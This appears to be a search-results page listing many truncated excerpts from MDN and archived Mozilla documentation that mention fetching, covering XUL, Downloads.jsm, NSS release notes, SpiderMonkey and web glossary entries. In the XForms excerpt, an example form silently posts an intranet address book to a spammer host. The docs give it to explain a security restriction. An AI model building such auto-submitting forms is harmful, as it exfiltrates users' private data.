the very generic id. we don't include the insertbefore or insertafter attributes because the ordering of string bundles doesn't make a difference. the element is completely invisible. if you don't include any of those ordering attributes in an overlay element, firefox will just append your element as the last child of the parent element. all you need for the string bundle is an id (to be able to fetch the element later) and the chrome path to the properties file. and, of course, you need the properties file: xulschoolhello.greeting.label = hi! how are you? the whitespace around the equals sign is ignored. just like in install.rdf, comments can be added using the # character at the beginning of the line. empty lines are ignored as well. you will often want to include dynamic content as p...
Promises - Archive of obsolete content
ote files have been superseded by the much simpler downloads.jsm module. the downloads object provides a promise-based api for downloading remote files, with full support for progress tracking, pause and resume, and, optionally, integration with the download manager ui. representative example usage components.utils.import("resource://gre/modules/downloads.jsm"); task.spawn(function* () { // fetch a file in the background. let download_1 = downloads.fetch(url_1, path_1); // fetch a file visible in the download manager. let download_2 = yield downloads.createdownload({ source: url_2, target: path_2, }); // add it to the downloads list used by the download manager ui. let list = yield downloads.getlist(downloads.all); list.add(download_2); /...
Updating addons broken by private browsing changes - Archive of obsolete content
pport the new per-window private browser feature in firefox 20 (and will require updating to work correctly in releases of firefox since the ones listed). idls nsitransferable: see using the clipboard for information about the new init method. imgicache: this must no longer be obtained as a service. see the imgicache article for more information. moziasyncfavicons/nsifaviconservice: setandfetchfaviconforpage/setandloadfaviconforpage now take a required privacy status argument, either nsifaviconservice.favicon_load_private or nsifaviconservice.favicon_load_non_private. nsiwebbrowserpersist: saveuri gained a new argument; see the nsiwebbrowserpersist docs for more information. nsicontentprefservice: getpref, setpref, haspref, hascachedpref, removepref, removegroupedprefs, removepref...
downloading - Archive of obsolete content
general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree). read only. type string the type of event. read only. canbubble boolean does the event normally bubble? read only. ...
Localizing an extension - Archive of obsolete content
ngsbundle.getstring('openstring') + " "; var lowstring = stringsbundle.getstring('lowstring') + " "; var highstring = stringsbundle.getstring('highstring') + " "; var volumestring = stringsbundle.getstring('volumestring') + " "; this code gets a reference to the string bundle element we added to stockwatcher2.xul by calling document.getelementbyid(), specifying the id "string-bundle". then it fetches all the strings we need from the bundle, one by one, by calling the string bundle's getstring() method, passing the appropriate key for each string. in this case, we're also appending a space to the end of each string. that's just how this particular program works, and isn't something that you have to do. then we replace any occurrences of the literal strings with the appropriate variables: sa...
Repackaging Firefox - Archive of obsolete content
mple.com/). but it's something to keep in mind when planning your locale support. preferences preferences are one of the two main things you will want to set in your extension (the other is bookmarks). there are two kinds of preferences in firefox, both set in the partner.js file: localizable preferences, which have a value of a chrome:// uri pointing to the properties file where firefox can fetch the localized value from. non-localizable preferences, which simply have the value in partner.js directly. it is possible to set a value for localizable preferences directly in the partner.js file, like this: pref("localizable.preference.name", "data:text/plain,localizable.preference.name=some value."); then, a properties file is not used (or needed at all) for that preference. therefore, i...
Monitoring downloads - Archive of obsolete content
tatement.reset(); dbconn = null; } } this code is fairly simple. it starts by opening the sqlite database containing the log information, then creates a select sql statement to pull all entries from the database. to iterate over the results, we use a while loop that calls the mozistoragestatement object's executestep() method. each time that method is called, one row of the results is fetched. after that, the list row object is created, and each entry in the search result is fetched and inserted into the appropriate list cell. the interesting bits to take away from this: mozistoragestatement has several data getter routines for fetching search results, including getstring(), getdouble(), and getint64(). these methods take as a parameter the zero-based index number of the column...
Mozilla Application Framework in Detail - Archive of obsolete content
roduct. furthermore, when embedding gecko, developers are free to choose what modules to include. there is no requirement for distribution of any other software. the necko network library mozilla's network library (aka necko) provides an extensible, platform-independent api for several layers of networking from transport to presentation layers. its provides a generic and extensible framework for fetching urls with support for common protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers. necko also provides an abstract "file descriptor" interface for low-level data access. necko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https. the following architectural diagram depicts ...
Uploading and Downloading Files - Archive of obsolete content
to support put operations. function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method. fetch upload please refer to uploading a file section inside the fetch article. downloading files under construction... meanwhile you can read this. ...
Building XULRunner - Archive of obsolete content
nfig/milestone.txt . you can also check the user agent string in firefox help/about menu to get the mapping from a certain binary firefox version to the corresponding xulrunner version. for instance, in firefox 2.0.0.9 you will get : mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.8.1.9) gecko/20071025 firefox/2.0.0.9 therefore the xulrunner version for this firefox version is : 1.8.1.9 fetching sources from mercurial as with all other mozilla products, one would fetch recent sources from mercurial. for example, to build xulrunner with the top of the tree: hg clone http://hg.mozilla.org/mozilla-central/ src cd src echo ". \$topsrcdir/xulrunner/config/mozconfig" > .mozconfig make -f client.mk build interwiki language links ...
nsIContentPolicy - Archive of obsolete content
pe_font 14 indicates a font loaded via @font-face rule. type_media 15 indicates a video or audio load. type_websocket 16 indicates a websocket load. type_csp_report 17 indicates a content security policy report. type_xslt 18 indicates a style sheet transformation. type_beacon 19 indicates a beacon post. type_fetch 20 indicates a load initiated by the globalfetch.fetch() method, which is available as a global in both window and worker contexts. type_imageset 21 indicates a request to load an <img> (with the srcset attribute or <picture>. type_web_manifest 22 indicates a request to load a web manifest. type_internal_script 23 an internal constant used t...
Mozilla release FAQ - Archive of obsolete content
tted, and a new entry would be unlikely to attract enough users to ensure the writing of drivers for a new system, a critical mass point. people who want to work on an operating system no doubt would be welcomed by the bsd teams, the linux team, the freedows team, or any of the many other open source operating system groups out there. how about a netscape release of linux? this isn't quite so far fetched, but it has the problem of possibly doing a great deal of harm to the relations between netscape and several unix vendors who bundle netscape's servers. it is unlikely that netscape would do anything that would endanger its revenue stream. as another point, there are already plenty of linux distributions out there, most of them doing a pretty good job of making a usable system. reinvention of t...
NPByteRange - Archive of obsolete content
* negative offset = from the end */ uint32 length; struct _npbyterange* next; } npbyterange; fields the data structure has the following fields: offset offset in bytes to the start of the requested range. this value may be either positive or negative: positive value: offset from the beginning of the stream. negative value: offset from the end of the stream. length number of bytes to fetch from the specified offset. next points to the next npbyterange request in the list of requests, or null if this is the last request. description the plug-in seeks within a stream by building a linked list of one or more npbyterange objects, which represents a set of discontiguous byte ranges. the only plug-in api call that uses the npbyterange type is npn_requestread(), which lets the plug-in r...
NPN_GetValueForURL - Archive of obsolete content
npnurlvariable variable, const char *url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the type of information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for which to fetch information. value out parameter. the browser passes back the requested information. if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer. note: the value may have internal null bytes and may not be null-terminated. when multiple cookies are returned for a given url, the format of the return value is: cookie1=valu...
Using IO Timeout And Interrupt On NT - Archive of obsolete content
s) io. when a thread calls an io function, the thread issues an overlapped io request using the overlapped buffer in its <tt>prthread</tt> structure. then the thread is put to sleep. in the meantime, there are dedicated internal threads (called the idle threads) monitoring the io completion port for completed io requests. if a completed io request appears at the io completion port, an idle thread fetches it and wakes up the thread that issued the io request earlier. this is the normal way the thread is awakened. io timeout and interrupt however, nspr may wake up the thread in two other situations: if the overlapped io request is not completed before the specified timeout. (note that we can't specify timeout on overlapped io requests, so the timeouts are all handled at the nspr level.) in t...
Mozilla XForms Specials - Archive of obsolete content
matic "whitelisting" of local files. if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the xform. ...
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
resh. ajax also lets you work asynchronously, meaning your code continues to run while the targeted part of your web page is trying to reload (compared to synchronously, which blocks your code from running until that part of your page is done reloading). with interactive websites and modern web standards, ajax is gradually being replaced by functions within javascript frameworks and the official fetch api standard. ...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
t for the task to complete. ...
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
, as it is executed immediately. note, however, that callbacks are often used to continue code execution after an asynchronous operation has completed — these are called asynchronous callbacks. a good example is the callback functions executed inside a .then() block chained onto the end of a promise after that promise fulfills or rejects. this structure is used in many modern web apis, such as fetch(). learn more general knowledge callback on wikipedia ...
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
living standard ...
Guard - MDN Web Docs Glossary: Definitions of Web-related terms
guard is a feature of headers objects (as defined in the fetch spec, which affects whether methods such as set() and append() can change the header's contents. for example, immutable guard means that headers can't be changed. for more information, read fetch basic concepts: guard. ...
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
self. the value finish at the next crlf or at the end of the message. traditionally, headers are classed in categories, though this classification is no more part of any specification: general header: headers applying to both requests and responses but with no relation to the data eventually transmitted in the body. request header: headers containing more information about the resource to be fetched or about the client itself. response header: headers with additional information about the response, like its location or about the server itself (name, version, …). entity header: headers containing more information about the body of the entity, like its content length or its mime-type. a basic request with one header: get /example.http http/1.1 host: example.com redirects have mandat...
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
e-ancestors specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. ...
Resource Timing - MDN Web Docs Glossary: Definitions of Web-related terms
...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown. this therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring. learn more general knowledge some of the most popular spa frameworks include: react angular vue.js ...
SRI - MDN Web Docs Glossary: Definitions of Web-related terms
subresource integrity (sri) is a security feature that enables browsers to verify that files they fetch (for example, from a cdn) are delivered without unexpected manipulation. it works by allowing you to provide a cryptographic hash that a fetched file must match. learn more subresource integrity content-security-policy: require-sri-for ...
WHATWG - MDN Web Docs Glossary: Definitions of Web-related terms
the whatwg (web hypertext application technology working group) is a community that maintains and develops web standards, including dom, fetch, and html. employees of apple, mozilla, and opera established whatwg in 2004. learn more general knowledge whatwg on wikipedia whatwg website ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
read-only semantic, servers can alter their state: e.g. they can log or keep statistics. what is important here is that by calling a safe method, the client doesn't request any server change itself, and therefore won't create an unnecessary load or burden for the server. browsers can call safe methods without fearing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk. web crawlers also rely on calling safe methods. safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-commerce web site. it is the responsibility of the application on the server to implement the ...
WAI-ARIA basics - Learn web development
ntent to alternative text attached to images. traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments. the problem is that modern web apps are often not just static text — they tend to have a lot of dynamically updating content, i.e. content that updates without the entire page reloading via a mechanism like xmlhttprequest, fetch, or dom apis. these are sometimes referred to as live regions. let's look at a quick example — see aria-no-live.html (also see it running live). in this example we have a simple random quote box: <section> <h1>random quote</h1> <blockquote> <p></p> </blockquote> </section> our javascript loads a json file via xmlhttprequest containing a series of random quotes and their authors. on...
How CSS works - Learn web development
hen a browser loads a webpage, and that different browsers will handle the process in different ways. but this is roughly what happens. the browser loads the html (e.g. receives it from the network). it converts the html into a dom (document object model). the dom represents the document in the computer's memory. the dom is explained in a bit more detail in the next section. the browser then fetches most of the resources that are linked to by the html document, such as embedded images and videos ... and linked css! javascript is handled a bit later on in the process, and we won't talk about it here to keep things simpler. the browser parses the fetched css, and sorts the different rules by their selector types into different "buckets", e.g. element, class, id, and so on. based on the sele...
What is a URL? - Learn web development
ent, such as in an html page, things are a bit different. because the browser already has the document's own url, it can use this information to fill in the missing parts of any url available inside that document. we can differentiate between an absolute url and a relative url by looking only at the path part of the url. if the path part of the url starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document. let's look at some examples to make this clearer. examples of absolute urls full url (the same as the one we used before) https://developer.mozilla.org/docs/learn implicit protocol //developer.mozilla.org/docs/learn in this case, the browser will call that url with the sa...
What is a Domain Name? - Learn web development
ers.” — these are like the boss servers that manage the system. whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every dns database. each dns server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the dns server queries an authoritative server and fetches the updated information from it). thus, it takes some time for dns servers that know about this domain name to get the up-to-date information. how does a dns request work? as we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an ip address. let's take a look at the process: type mozilla.org in your browser's location bar. your browser...
What is a web server? - Learn web development
an html template with content from a database. sites like mdn or wikipedia have thousands of webpages. typically, these kinds of sites are composed of only a few html templates and a giant database, rather than thousands of static html documents. this setup makes it easier to maintain and deliver the content. active learning there is no active learning available yet. deeper dive to review: to fetch a webpage, your browser sends a request to the web server, which searches for the requested file in its own storage space. upon finding the file, the server reads it, processes it as-needed, and sends it to the browser. let's look at those steps in more detail. hosting files first, a web server has to store the website's files, namely all html documents and their related assets, including image...
How do you set up a local testing server? - Learn web development
e on some other remote server), the web address will start with http:// or https://, to show that the file has been received via http. the problem with testing local files some examples won't run if you open them as local files. this can be due to a variety of reasons, the most likely being: they feature asynchronous requests. some browsers (including chrome) will not run async requests (see fetching data from the server) if you just run the example from a local file. this is because of security restrictions (for more on web security, read website security). they feature a server-side language. server-side languages (such as php or python) require a special server to interpret the code and deliver the results. running a simple local http server to get around the problem of async reques...
Installing basic software - Learn web development
ers, collaborate on a project with a team, share code and assets and avoid editing conflicts. right now, git is the most popular version control system along with the github or gitlab hosting service. an ftp program, used on older web hosting accounts to manage files on servers (git is increasingly replacing ftp for this purpose). there are loads of (s)ftp programs available including cyberduck, fetch and filezilla. an automation system, like webpack, grunt, or gulp to automatically perform repetitive tasks, such as minifying code and running tests. libraries, frameworks, etc., to speed up writing common functionality. a library tends to be an existing javascript or css file that provides ready-rolled functionality for you to make use of in your code. a framework tend to take this idea furth...
The web and web standards - Learn web development
rders, animating things, or laying out a page in a certain way. as a simple example, the following code would turn our html paragraph red: p { color: red; } in the house analogy, css is like the paint, wallpaper, carpets and paintings you'd use to make the house look nice. javascript is the programming language we use to add interactivity to web sites, from dynamic style switching, to fetching updates from the server, right through to complex 3d graphics. the following simple javascript will store a reference to our paragraph in memory and change the text inside it: let pelem = document.queryselector('p'); pelem.textcontent = 'we changed the text!'; in the house analogy, javascript is like the cooker, tv, microwave, or hairdryer — the things that give your house useful functi...
Tips for authoring fast-loading HTML pages - Learn web development
anges in a page's layout when the page completes loading. for this reason, height and width should be specified for images, whenever possible. tables should use the css selector: property combination: table-layout: fixed; and should specify widths of columns using the <col> and the <colgroup> elements. use lazy loading for images by default, imags are loaded eagerly; that is, the image is fetched and rendered as soon as it's processed in the html. all eagerly loaded images are rendered before the document's load event is sent. switching to lazy loading of images tells the browser to hold off on loading images until they're about to be needed to draw the visual viewport. to mark an image for lazy loading, specify its loading attribute with a value of lazy. with this set, the image will ...
Asynchronous JavaScript - Learn web development
looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting this. ...
Test your skills: JSON - Learn web development
of the downloadable version). json 1 the one and only task in this article concerns accessing json data and using it in your page. json data about some mother cats and their kittens is available in sample.json. the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise chain (which starts by fetching the json data) is fulfilled. your task is to fill in the missing parts of the displaycatinfo() function to store: the names of the three mother cats, separated by commas, in the motherinfo variable. the total number of kittens, and how many are male and female, in the kitteninfo variable. the values of these variables are then printed to the screen inside paragraphs. some hints/question...
JavaScript — Dynamic client-side scripting - Learn web development
fficient code, therefore we've provided this module to help you. here we teach object theory and syntax in detail, look at how to create your own objects, and explain what json data is and how to work with it. asynchronous javascript in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. in this module we will explore what apis are, and how to use some of th...
Web performance resources - Learn web development
any reasons why your website should perform as well as possible. below is a quick review of best practices, tools, apis with links to provide more information about each topic. best practices start with learning the critical rendering path of the browser. knowing this will help you understand how to improve the performance of the site. using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum. only use as much javascript as needed for the current page. css performance factors use http/2 on your server (or cdn). use a cdn for resources which can reduce load times significantly. compress your resources using gzip, brotli, and zopfli. image optimization (use css animation, or svg if possible). lazy loading par...
Handling common accessibility problems - Learn web development
although making bootstrap a little more accessible by rhiana heath explores some of its issues (mainly related to color contrast), and looks at some solutions. regularly updated dynamic content can be a problem because screenreader users might miss it, especially if it updates unexpectedly. if you have a single-page app with a main content panel that is regularly updated using xmlhttprequest or fetch, a screenreader user might miss those updates. wai-aria do you need to use such complex functionality, or will plain old semantic html do instead? if you do need complexity, you should consider using wai-aria (accessible rich internet applications), a specification that provides semantics (in the form of new html attributes) for items such as complex form controls and updating panels that can b...
Implementing feature detection - Learn web development
available to the page it is applied to, which contains results of the feature detects as true/false properties. for example, load up our modernizr-css.html example in your browser, then try going to your javascript console and typing in modernizr. followed by some of those class names (they are the same here too). for example: modernizr.flexbox modernizr.websqldatabase modernizr.xhr2 modernizr.fetch the console will return true/false values to indicate whether your browser supports those features or not. let's look at an example to show how you'd use those properties. first of all, make a local copy of the modernizr-js.html example file. attach the modernizr library to the html using a <script> element, as we have done in previous demos. put it above the existing <script> element, whic...
Setting up your own test automation environment - Learn web development
replace the {username} and {accesskey} placeholders in the code with your actual user name and access key values (and make sure you keep them secure). run the below command in your terminal to execute your test: node index.js the test will be sent to lambdatest, and the outpu...
Deploying our app - Learn web development
our tests are outside of parcel's view of our system — since parcel never sees nor runs any of the test code, we're left to install the dependency ourselves. now to manually run the tes...
Package management basics - Learn web development
ndency files of parcel and date-fns. dist: the distribution directory — these are the automatically packaged, minified files parcel has built for us, and the files it is serving at localhost:1234. these are the files you would upload to your web server when releasing the site online for public consumption. so long as we know the package name, we can use it in our code and parcel will go off, fetch, and install (actually "copy") the package into our local directory (under node_modules). building our code for production however, this code is not ready for production. most build tooling systems will have a "development mode" and a "production mode". the important difference is that a lot of the helpful features you will use in development are not needed in the final site, so will be strippe...
Old Thunderbird build
cludes a script to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout on some types of network connections, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time you fetch the complete repo. in this case, you need a bundle for comm-central, and a bundle for mozilla-central. unbundle mozilla-central into a "mozilla" subdirectory of your comm-central repo after unbundling comm-central. (make sure the unbundled folder's name is now "mozilla" and not "mozilla-central"). then run "python client.py checkout" to ensure you are up-to-date. the source code requires 3.6gb ...
HTML parser threading
get parsed by the main document.write() tokenizer/tree builder synchronously also sends speculative loads to the tree op executor. the executor acts on the speculative load queue when the runnable dispatched by nshtml5streamparser::parseavailabledata() fires and right before executing tree ops whenever tree ops are executed. when the executor acts on speculative loads, it starts speculative http fetches for images (including video poster frames), style sheets and scripts. additionally, the speculative load queue is used for transferring information from the parser thread to the main thread when the information needs to arrive before starting any speculative loads and when the information is known not to be speculative. there are two such pieces of information: the manifest url for an app cache...
WebRequest.jsm
d string the http method used (get, post, etc). responseheaders array of http headers. the http response headers that were received. this is only included if you set "responseheaders" in the opt_extrainfospec argument. statuscode number http response code. types resource types the resource type string identifies the kind of resource being fetched. it's used in two places: filtering requests by type, and as the type property of the argument passed to the listener. the following types are supported: "main_frame" "sub_frame" "stylesheet" "script" "image" "object" "xmlhttprequest" http headers https headers are represented as objects with two properties, name and value...
openLocationLastURL.jsm
m javascript code module lets you set and retrieve the url most recently opened using the "open location" option in the file menu. to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports. this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens. if the user is not in private browsing mode, this automatically updates the value of the general.open_location.last_url preference. note: this module automatically handles private browsing mode for you. the value preserved across accesses is not preserved when the user exits private browsing mode. using the openl...
Fonts for Mozilla 2.0's MathML engine
d the "font.mathfont-family" preference for a previous version of mozilla, then it is best to reset this to the default value. to do this, enter the url "about:config", "filter" for "mathfont", and "reset" to the default value through the context menu on the preference. mathml font selection with css you can get these fonts from the mathml-fonts add-on ; the xpi is just a zip archive that you can fetch and extract for example with the following command: wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -o mathml-fonts.zip; \ unzip mathml-fonts.zip -d mathml-fonts then copy the mathml-fonts/resource/ directory somewhere on your web site and ensure that the woff files are served with the correct mime type. finally, include the mathml-fonts/resource/mathml.css...
HTTP delegation
it does so in a blocking fashion, and also directly to the responder, ignoring any proxy the application may wish to use. this causes ocsp requests to fail if the network environment requires the use of a proxy. there are two possible solutions to this limitation. instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions. if provided by the application, nss will use the registered http client for querying an oscp responder. ...
HTTP delegation
it does so in a blocking fashion, and also directly to the responder, ignoring any proxy the application may wish to use. this causes ocsp requests to fail if the network environment requires the use of a proxy. there are two possible solutions to this limitation. instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions. if provided by the application, nss will use the registered http client for querying an oscp responder. ...
NSS_3.12.1_release_notes.html
30628: coreconf/linux.mk should _not_ default to x86 but result in an error if host is not recognized bug 359302: remove the sslsample code from nss source tree bug 372241: need more versatile form of cert_nametoascii bug 390296: nss ignores subject cn even when san contains no dnsname bug 401928: support generalized pkcs#5 v2 pbes bug 403543: pkix: need a way to enable/disable aia cert fetching bug 408847: pkix_ocspchecker_check does not support specified responder (and given signercert) bug 414003: crash [[@ cert_decodecertpackage] sometimes with this testcase bug 415167: memory leak in certutil bug 417399: arena allocation results are not checked in pkix_pl_infoaccess_parselocation bug 420644: improve ssl tracing of key derivation bug 426886: use const char* in pk11_imp...
NSS_3.12.2_release_notes.html
ubs for deprecated functions in lib/certdb/stanpcertdb.c should set the pr_not_implemented_error error. bug 456854: cert_decodecertpackage does not set nspr error code upon error bug 457980: hundreds of kilobytes of useless strings in libpkix bug 457984: enable pkcs11 module logging in optimized builds bug 458905: memory leaks in pkix bridge certificates. bug 459231: memory leak in cert fetching - aia extension. bug 459248: support intel aes extensions. bug 459359: forwardbuilderstate object is leaked when aia path incorrect bug 459481: nss build problem with gcc 3.4.6 on os/2 documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and revised documents available since the release of nss 3.11 include the following: build ...
NSS 3.12.4 release notes
bug 470500: firefox 3.1b2 crash report [[@ nssutil3.dll@0x34c0 ] bug 482742: enable building util independently of the rest of nss bug 483653: unable to build certutil.exe for fennec/wince bug 485145: miscellaneous crashes in signtool on windows bug 485155: nss_enable_pkix_verify=1 causes sec_error_unknown_issuer errors bug 485527: rename the _x86_ macro in lib/...
NSS 3.15.5 release notes
protocol negotiation. added the tls padding extension. the extension type value is 35655, which may change when an official extension type value is assigned by iana. nss automatically adds the padding extension to clienthello when necessary. added a new macro cert_list_tail, defined in certt.h, for getting the tail of a certcertlist. notable changes in nss 3.15.5 bug 950129: improve the ocsp fetching policy when verifying ocsp responses bug 949060: validate the iov input argument (an array of priovec structures) of ssl_writev (called via pr_writev). applications should still take care when converting struct iov to priovec because the iov_len members of the two structures have different types (size_t vs. int). size_t is unsigned and may be larger than int. bugs fixed in nss 3.15.5 a compl...
NSS 3.45 release notes
3_45_rtm/src/ other releases are available in nss releases. new in nss 3.45 new functionality new functions in pk11pub.h: pk11_findrawcertswithsubject - finds all certificates on the given slot with the given subject distinguished name and returns them as der bytes. if no such certificates can be found, returns secsuccess and sets *results to null. if a failure is encountered while fetching any of the matching certificates, secfailure is returned and *results will be null. notable changes in nss 3.45 bug 1540403 - implement delegated credentials (draft-ietf-tls-subcerts) this adds a new experimental function: ssl_delegatecredential note: in 3.45, selfserv does not yet support delegated credentials. see bug 1548360. note: in 3.45 the sslchannelinfo is left u...
NSS 3.46 release notes
bug 1561587 - remove -wmaybe-uninitialized warning in lgattr.c bug 1561558 - remove -wmaybe-uninitialized warning in httpserv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star docker image to pull specific commit bug 1559012 - improve gcm perfomance using pmull2 bug 1528666 - correct resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaking line formats bug 1575968 -...
PKCS11 FAQ
Mozilla › Projects › NSS › PKCS11 › FAQ
d databases" that can be used to generate your new key info. in the key generation process, nss arranges for the key to have it's cka_id set to some value derived from the public key, and the public key will be extracted using c_getattributes. this key will be sent to the ca. at some later point, the ca presents the certificate to you (as part of this keygen, or in an e-mail, or you go back and fetch it from a web page once the ca notifies you of the arrival of the new certificate). nss uses the public key to search all its tokens for the private key that matches that certificate. the certificate is then written to the token where that private key resides, and the certificate's cka_id is set to match the private key. why does firefox require users to authenticate themselves by entering a pin...
Necko walkthrough
nse later, also on the main thread. there is an option to receive ondataavailable specifically on a non-main thread, but all other calls happen on the main thread. ...
Creating JavaScript jstest reftests
n to the directory js/src/tests/test262. when importing test262, the test file's in-file metadata is translated from test262 format to a format readibly by the jstest harness. if you are contributing directly to test262, you must submit the tests in the test262 format, which you can see in the test262 git repository and read about here. an update script exists in the js/src/tests directories to fetch and reformat the test262 suite, see test262-update.py. writing a new test file please read the high level advice for test writing in the parent article here. jstests has a special requirement: the call to reportcompare in every jstest is required by the test harness. except in old tests or super strange new tests, it should be the last line of the test. comparison functions and shared ...
Index
order records the activity of the interpreter, using nanojit to build an efficient, native representation of the execution called a fragment. the monitor then calls into the native code stored in the fragment. 538 spidermonkey compartments guide, needscontent, needsexample, spidermonkey no summary! 539 spidermonkey releases spidermonkey the easiest way to fetch the version corresponding to the current firefox release is to visit the treeherder page for the release repository and click on the first sm(pkg) link you see. that will open a small window in the bottom left with a line like "artifact uploaded: mozjs-57.0.1.tar.bz2". 540 spidermonkey 1.8 spidermonkey spidermonkey 1.8 has one known significant regression from 1.7. 541...
JS_NewObject
context is currently executing. in other words, the context's current scope acts as a default parent. if the context is not currently executing any code, we use js_getglobalobject to find a global object associated with the context. next, we must find the given class's constructor in that global object. normally we simply use the class's name as the name of the property of the global object to fetch. however, although javascript code can freely redefine constructors, the ecmascript standard requires us in certain cases to use the original constructors' prototypes. if the global object's class's flags include jsclass_global_flags, then the global object always retains the original constructors for each standard class; we use these original constructors when they are available. finally, we m...
JS_NewPropertyIterator
cription create an object to iterate over the enumerable own properties of obj, in arbitrary order. (this differs from longstanding for..in loop order, which uses the order in which obj's properties were defined. note also that while for..in includes properties inherited from prototypes, iterator objects do not.) on success, this returns an iterator object that can be passed to js_nextproperty to fetch the property ids. on error, it returns null. the iterator object created by this function is not a javascript iterator. it is an opaque object with no properties visible from javascript. see also bug 1081660 ...
JS_ReportErrorNumber
umber, const char16_t **args); // added in spidermonkey 19 name type description cx jscontext * the context in which to report the error. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. flags unsigned error report flags. errorcallback jserrorcallback callback to fetch the error message. userref void * a pointer to application data. the javascript engine passes this pointer to errorcallback. the meaning of the data is up to the application. errornumber const unsigned an error code. the javascript engine passes this number to errorcallback. the meaning of the error number is up to the application. ... / args ... / const ...
Stored value
ld of type jsval for the stored value of most object properties, even properties that have getters. the stored value is updated each time the program gets or sets the property. the new stored value is the result of getting or setting the property, after the getter or setter, if any, is called. js_defineproperty allows the application to specify a property's initial stored value. js_lookupproperty fetches a property's stored value without triggering its getter. properties with the jsprop_shared attribute do not have a stored value. es5 accessor properties, as in {get length() { return 0; }, automatically have jsprop_shared. properties of objects that have custom jsobjectops do not have a stored value. stored values are strong references for the purpose of garbage collection. as long as an object...
SpiderMonkey releases
ly test its suitability for general embedding. we have periodically created "releases", but they are best-effort and incomplete. we do happily accept patches, and make some effort to keep the tip of the gecko tree minimally working as an embeddable source package. we are very limited in our ability to support older versions, including those labeled as "releases" on this page. the easiest way to fetch the version corresponding to the current firefox release is to visit the treeherder page for the release repository and click on the first sm(pkg) link you see. that will open a small window in the bottom left with a line like "artifact uploaded: mozjs-57.0.1.tar.bz2". past releases spidermonkey 52 spidermonkey 45 spidermonkey 38 spidermonkey 31 spidermonkey 24 spidermonkey 17 spidermon...
Shell global objects
frame-size. entrypoints(params) carry out some jsapi operation as directed by params, and return an array of objects describing which javascript entry points were invoked as a result. params is an object whose properties indicate what operation to perform. here are the recognized groups of properties: { function } call the object params.function with no arguments. { object, property } fetch the property named params.property of params.object. { tostring } apply js::tostring to params.tostring. { tonumber } apply js::tonumber to params.tonumber. { eval } apply js::evaluate to params.eval. the return value is an array of strings, with one element for each javascript invocation that occurred as a result of the given operation. each element is the name of the function inv...
Manipulating bookmarks using Places
